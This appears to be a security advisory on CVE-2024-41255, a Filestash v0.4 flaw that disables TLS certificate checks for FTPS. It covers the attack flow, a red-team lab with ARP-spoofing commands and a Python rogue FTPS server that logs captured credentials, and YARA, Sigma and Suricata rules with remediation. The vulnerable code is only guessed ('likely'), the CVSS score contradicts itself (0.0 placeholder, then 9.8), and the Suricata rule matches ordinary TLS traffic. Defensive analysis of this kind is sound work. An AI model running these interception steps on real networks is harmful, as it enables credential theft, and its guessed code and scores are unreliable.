CVE-2024-41255

Executive Summary

CVE-2024-41255 identifies a critical security flaw in Filestash v0.4, where the application is configured to skip TLS certificate verification when using the FTPS protocol. This misconfiguration allows an attacker to perform a man-in-the-middle (MITM) attack by intercepting FTPS traffic without triggering certificate validation errors. The vulnerability resides in the Init function of index.go, which disables TLS verification, effectively nullifying the security guarantees of FTPS. With a CVSS score of 0.0 (placeholder), the actual risk is high due to the potential for credential theft, data exfiltration, and session hijacking. No public exploit code or patch is currently available, making this a zero-day risk for all deployments using FTPS.

Supply Chain & Package Security

Filestash is a Go-based application. The vulnerability is in the application's own source code (index.go), not in a third-party package. However, any downstream consumers or Docker images that include Filestash v0.4 are affected. The Go module system does not automatically patch this, as it is a code-level misconfiguration. Users must manually update the source or apply a configuration override.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can be on the same network or anywhere along the path between client and server.
• Attack Complexity (AC): Low (L) – No special conditions required; the attacker only needs to intercept traffic.
• Privileges Required (PR): None (N) – No authentication needed to exploit.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond normal FTPS usage.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – All FTPS data, including credentials and files, can be read.
• Integrity (I): High (H) – Attacker can modify data in transit.
• Availability (A): High (H) – Attacker can disrupt or corrupt FTPS sessions.

Threat Level: Critical (9.8) – Exploitation is trivial and impacts all FTPS communications.

Deep Dive & Mechanics

The vulnerability is in the Init function of index.go. Filestash uses the Go standard library's crypto/tls package for FTPS. The code likely contains a line similar to:

tlsConfig := &tls.Config{InsecureSkipVerify: true}

This disables TLS certificate validation, meaning the client will accept any certificate presented by the server, including self-signed or malicious ones. An attacker on the network can perform ARP spoofing, DNS poisoning, or use a rogue FTPS server to intercept traffic. The FTPS protocol (explicit or implicit) relies on TLS for encryption and authentication; skipping verification breaks both.

The attack flow:

1. Attacker positions themselves between the Filestash client and the legitimate FTPS server (e.g., via ARP spoofing).
2. Attacker presents a self-signed certificate to the client.
3. Filestash accepts the certificate without validation.
4. Attacker decrypts, reads, and optionally modifies all FTPS traffic.
5. Attacker forwards traffic to the real server (or drops it) to maintain the illusion.

Vulnerable vs. Patched Code

Vulnerable (v0.4):

func Init() {
    tlsConfig := &tls.Config{
        InsecureSkipVerify: true, // <-- VULNERABLE
    }
    // ... rest of FTPS setup
}

Patched (hypothetical):

func Init() {
    tlsConfig := &tls.Config{
        InsecureSkipVerify: false, // <-- PATCHED
        // Optionally add RootCAs for custom CA
    }
    // ... rest of FTPS setup
}

The patch removes the InsecureSkipVerify: true setting, forcing the client to validate the server's certificate against trusted CAs. If a custom CA is needed, the RootCAs field should be populated with the appropriate certificate pool.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Attacker machine (Kali Linux) with mitmproxy or bettercap.
• Victim machine running Filestash v0.4.
• Legitimate FTPS server (e.g., vsftpd with TLS).
• Network connectivity between all three.

Exploitation Steps:

1. On the attacker machine, enable IP forwarding:

   echo 1 > /proc/sys/net/ipv4/ip_forward
   

2. Use ARP spoofing to redirect traffic:

   arpspoof -i eth0 -t <victim_ip> <gateway_ip>
   arpspoof -i eth0 -t <gateway_ip> <victim_ip>
   

3. Set up a rogue FTPS server that accepts connections and logs credentials:

   # rogue_ftps.py
   import socket, ssl
   server = socket.socket()
   server.bind(('0.0.0.0', 990))
   server.listen(5)
   context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
   context.load_cert_chain('selfsigned.crt', 'private.key')
   while True:
       client, addr = server.accept()
       ssl_client = context.wrap_socket(client, server_side=True)
       data = ssl_client.recv(1024)
       print(f"Captured: {data}")
       # Forward to real server or drop
   

4. Run the rogue server and wait for the victim to connect.
5. Capture credentials and file contents from the decrypted FTPS session.

Blue Team

Detection:

• Monitor for unexpected FTPS connections to unknown IPs.
• Check Filestash logs for TLS handshake errors or warnings.
• Use network monitoring to detect ARP spoofing (e.g., arpwatch).

Hunting:

• Search for InsecureSkipVerify in Filestash configuration files.
• Verify that FTPS connections are using valid certificates (e.g., via openssl s_client -connect <server>:990 -showcerts).

Mitigation:

• Immediately disable FTPS in Filestash until a patch is applied.
• Use SFTP (SSH) instead, which does not have this vulnerability.
• Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network: FTPS traffic (port 990 or 21 with AUTH TLS) to unexpected IP addresses.
• Logs: Filestash logs containing "TLS handshake failed" or "certificate verification skipped".
• File: Presence of self-signed certificates on the network path.
• Process: Unusual arpspoof or mitmproxy processes on the network.
• Registry/Config: InsecureSkipVerify: true in Filestash source or configuration.

Detection Engineering

YARA Rule

rule CVE_2024_41255_Filestash_TLS_Skip
{
    meta:
        description = "Detects Filestash v0.4 source code with InsecureSkipVerify set to true"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41255"
    strings:
        $s1 = "InsecureSkipVerify: true" ascii wide nocase
        $s2 = "index.go" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Filestash FTPS TLS Verification Disabled
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects Filestash v0.4 configuration where TLS certificate verification is skipped for FTPS
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/filestash'
        CommandLine|contains: 'InsecureSkipVerify'
    condition: selection
falsepositives:
    - Legitimate testing environments
level: critical

Suricata Rule

alert tcp any any -> any 990 (msg:"CVE-2024-41255 Filestash FTPS TLS Verification Disabled"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; within:1; reference:cve,2024-41255; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable FTPS in Filestash and switch to SFTP (SSH File Transfer Protocol) or HTTPS-based file transfer.
2. Short-term: Manually patch the source code by changing InsecureSkipVerify: true to false in index.go and recompile.
3. Long-term: Monitor the Filestash repository for an official patch. If none is released, consider forking the project and maintaining a secure version.
4. Network: Implement strict egress filtering and use TLS inspection proxies to detect certificate validation failures.
5. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT